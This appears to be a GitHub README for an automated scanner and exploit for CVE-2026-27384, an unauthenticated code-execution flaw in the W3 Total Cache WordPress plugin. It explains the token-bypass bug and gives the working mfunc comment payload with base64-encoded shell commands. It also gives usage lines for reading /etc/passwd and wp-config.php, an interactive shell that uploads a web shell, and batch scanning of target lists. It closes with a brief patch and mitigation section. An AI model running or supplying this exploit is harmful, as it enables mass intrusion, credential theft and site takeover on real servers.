
Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVulnerability Type: Unauthenticated Arbitrary Code Execution (Code Injection viaeval()) Affected Versions: <= 2.9.1 Patched Version: 2.9.2 Disclosure Date: February 24, 2026 Researcher: CODE WHITE GmbH
The Dynamic Fragment Caching feature (mfunc/mclude system) of the W3 Total Cache plugin
executes PHP code embedded in HTML comments via eval().
The token, which should protect this feature, can be bypassed due to
the combination of multiple code flaws.
W3TC_DYNAMIC_SECURITYResult: Arbitrary PHP code can be executed on the server without authentication, simply by submitting a WordPress comment.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| Type | Code Injection → RCE (CWE-94) |
| Affected Version | <= 2.9.1 |
| Patched Version | 2.9.2 |
| Authentication | Not required |
| User Interaction | Not required |
| Prerequisite | W3TC_DYNAMIC_SECURITY must contain regex metacharacters |
W3TC's Dynamic Fragment Caching feature allows developers to embed PHP code via special comment tags in the page HTML:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC processes these tags when serving the page from cache:
the embedded PHP is executed via eval(), and its output replaces the comment block.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY is inserted directly into regex
// preg_quote() MISSING → token acts as regex pattern
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
If the token is '.', the regex becomes <!--\s*mfunc\s*.(.*)--> →
any single character substitutes for the token.
\s* vs \s+ Mismatch| Function | Pattern | Behavior |
|---|---|---|
_parse_dynamic() — executes | mfunc\s*TOKEN | Accepts 0 spaces ✅ |
strip_dynamic_fragment_tags_from_string() — strips | mfunc\s+TOKEN | Requires at least 1 space ❌ |
Attacker payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
NO SPACE between mfunc and token
strip function: \s+ → no match → payload PERSISTS
execution regex: \s* → matches → eval() TRIGGERS
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Only defined() check — NO empty() or metacharacter validation
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — any character)
│
▼
Attacker submits comment:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → requires \s+, no space → BYPASSED ✅
│
▼
Comment stored in database, page cached
│
▼
Second HTTP request → W3TC serves from cache
_has_dynamic() → mfunc\s*. → 'A' matches → returns true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' matches
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Without authentication, arbitrary PHP code can be executed on the server with web server privileges:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mode | Description |
|---|---|
auto | Scan site → find comment page → exploit (default) |
exploit | Direct exploit — with post URL |
shell | Interactive shell |
detect | W3TC detection only |
python w3tc_rce.py https://target.com
The scanner will:
# id command
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd id
# Read /etc/passwd
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /etc/passwd"
# Read wp-config.php
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Manual Post ID
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/hello-world/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://target.com \
--mode shell \
--post-url https://target.com/?p=1
When the shell opens, it automatically runs whoami, hostname, pwd, uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://target.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.target.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Commands: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://target.com --mode detect
[+] W3TC installed!
Version : 2.9.1
Cache : True
[!] Version 2.9.1 VULNERABLE (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o results.txt
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| Parameter | Short | Description | Default |
|---|---|---|---|
url | — | Single target URL | — |
--list | -l | Target list file | — |
--mode | — | Operation mode | auto |
--cmd | — | Command to execute | id |
--post-url | — | URL of the page with comment form | — |
--post-id | — | WordPress post ID | — |
--max-pages | — | Spider max pages | 50 |
--threads | -t | Number of threads | 10 |
--output | -o | Output file | w3tc_results.txt |
--proxy | — | Proxy URL | — |
--no-color | — | Disable colored output | False |
--verbose | -v | Verbose output | False |
Standard tag (caught by strip):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
space present → \s+ matches → strip removes it
Bypass tag (bypasses strip, triggers eval()):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
NO space → \s+ doesn't match → strip BYPASSES
\s* matches → eval() TRIGGERS
PHP code is base64 encoded to avoid HTML encoding issues:
# Command: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| Group | Function | Bypass Char | Encoding |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | All functions | A, B, X, 1 | Raw |
1. W3TC Detection
└─ readme.txt, header, body, plugin directory
2. Comment System Detection
└─ HTML form, REST API, post ID
3. Payload Injection (48 variants)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. Cache Trigger
├─ 1st request → cache miss → page rendered → cached
└─ 2nd request → cache hit → _parse_dynamic() → eval()
5. Output Extraction
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Target: https://target.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Comment page: https://target.com/?p=1 (post_id=1)
[1] W3TC detection...
[+] W3TC found! Version: 2.9.1
[2] Comment system detection...
[+] Post ID: 1 | Form: True | REST: True
[3] Payload injection (id)...
[i] 48 payload variants ready
[4] Triggering cache...
[★] RCE SUCCESSFUL!
=========================================================
URL : https://target.com/?p=1
Payload : b64_shell_exec (bypass='A')
Command : id
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Results saved → w3tc_results.txt
[?] Open shell? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 vulnerabilities found!
[+] Results saved → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Main scanner
├── requirements.txt # Dependencies
└── README.md # This file
| Measure | Description |
|---|---|
| Plugin Update | Upgrade to W3 Total Cache 2.9.2+ |
| Disable mfunc | Feature does not work if W3TC_DYNAMIC_SECURITY is not defined |
| Strong Token | Token must contain only alphanumeric characters ([a-zA-Z0-9_]+) |
Safe token example (wp-config.php):
// ❌ Dangerous — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Safe — alphanumeric
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
2.9.2 patch (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote added
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (at least 1 space)
...
);
This tool and PoC are intended solely for authorized systems, educational purposes, and penetration testing engagements. Use on unauthorized systems is illegal under Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability for any misuse of this tool.
MIT License — For educational and research purposes only.